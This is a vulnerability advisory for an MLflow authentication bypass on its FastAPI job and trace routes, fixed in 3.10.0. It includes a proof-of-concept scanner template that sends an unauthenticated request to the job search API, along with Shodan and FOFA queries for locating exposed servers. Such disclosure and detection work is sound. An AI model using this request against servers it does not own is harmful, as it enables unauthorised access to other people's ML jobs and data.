CVE-2026-2652: MLflow < 3.10.0 - Authentication Bypass on FastAPI Routes

2026-06-17 MLflow PoC Public

Description

A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.

PoC

id: CVE-2026-2652

info:
  name: MLflow < 3.10.0 - Authentication Bypass on FastAPI Routes
  author: DhiyaneshDk
  severity: high
  description: |
    A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.
  impact: |
    An unauthenticated attacker can bypass authentication to access job management APIs and inject arbitrary trace data, potentially leading to data integrity compromise and unauthorized job execution.
  remediation: |
    Upgrade MLflow to version 3.10.0 or later.
  reference:
    - https://huntr.com/bounties/5aeff5f0-49c7-4180-b5cb-c9a046f16756
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2652
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
    cvss-score: 8.6
    cve-id: CVE-2026-2652
    epss-score: 0.20783
    epss-percentile: 0.97417
    cwe-id: CWE-306
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query: app="mlflow"
  tags: cve,cve2026,mlflow,auth-bypass,lfprojects,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/2.0/mlflow/experiments/list HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /ajax-api/3.0/jobs/search HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "\"jobs\":")
          - contains(content_type, 'application/json')
        condition: and
# digest: 4a0a00473045022009153ba1db91f592cede85f38d7a77fe8348fe23f3c85a1a8787146183ed1a20022100e35f8466482b362ba7463a765655eb2f9fe12fede57564d77423dd9fbdbcba60:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities